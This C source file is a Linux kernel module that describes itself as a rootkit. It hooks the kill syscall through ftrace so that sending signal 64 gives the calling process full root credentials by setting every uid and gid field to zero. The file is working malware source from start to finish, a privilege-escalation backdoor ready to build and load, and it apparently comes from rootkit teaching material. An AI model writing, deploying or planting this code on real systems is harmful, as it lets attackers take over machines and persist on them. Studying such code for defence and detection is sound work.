#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/version.h>
#include "ftrace_helper.h"
MODULE_LICENSE("GPL");
MODULE_AUTHOR("TheXcellerator");
MODULE_DESCRIPTION("Giving root privileges to a process");
MODULE_VERSION("0.02");
/* After Kernel 4.17.0, the way that syscalls are handled changed
* to use the pt_regs struct instead of the more familiar function
* prototype declaration. We have to check for this, and set a
* variable for later on */
#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
#define PTREGS_SYSCALL_STUBS 1
#endif
/* We now have to check for the PTREGS_SYSCALL_STUBS flag and
* declare the orig_kill and hook_kill functions differently
* depending on the kernel version. This is the largest barrier to
* getting the rootkit to work on earlier kernel versions. The
* more modern way is to use the pt_regs struct. */
#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*orig_kill)(const struct pt_regs *);
/* We can only modify our own privileges, and not that of another
* process. Just have to wait for signal 64 (normally unused)
* and then call the set_root() function. */
asmlinkage int hook_kill(const struct pt_regs *regs)
{
void set_root(void);
// pid_t pid = regs->di;
int sig = regs->si;
if ( sig == 64 )
{
printk(KERN_INFO "rootkit: giving root...\n");
set_root();
return 0;
}
return orig_kill(regs);
}
#else
/* This is the old way of declaring a syscall hook */
static asmlinkage long (*orig_kill)(pid_t pid, int sig);
static asmlinkage int hook_kill(pid_t pid, int sig)
{
void set_root(void);
if ( sig == 64 )
{
printk(KERN_INFO "rootkit: giving root...\n");
set_root();
return 0;
}
return orig_kill(pid, sig);
}
#endif
/* Whatever calls this function will have it's creds struct replaced
* with root's */
void set_root(void)
{
/* prepare_creds returns the current credentials of the process */
struct cred *root;
root = prepare_creds();
if (root == NULL)
return;
/* Run through and set all the various *id's to 0 (root) */
root->uid.val = root->gid.val = 0;
root->euid.val = root->egid.val = 0;
root->suid.val = root->sgid.val = 0;
root->fsuid.val = root->fsgid.val = 0;
/* Set the cred struct that we've modified to that of the calling process */
commit_creds(root);
}
/* Declare the struct that ftrace needs to hook the syscall */
static struct ftrace_hook hooks[] = {
HOOK("__x64_sys_kill", hook_kill, &orig_kill),
};
/* Module initialization function */
static int __init rootkit_init(void)
{
/* Hook the syscall and print to the kernel buffer */
int err;
err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
if(err)
return err;
printk(KERN_INFO "rootkit: Loaded >:-)\n");
return 0;
}
static void __exit rootkit_exit(void)
{
/* Unhook and restore the syscall and print to the kernel buffer */
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
printk(KERN_INFO "rootkit: Unloaded :-(\n");
}
module_init(rootkit_init);
module_exit(rootkit_exit);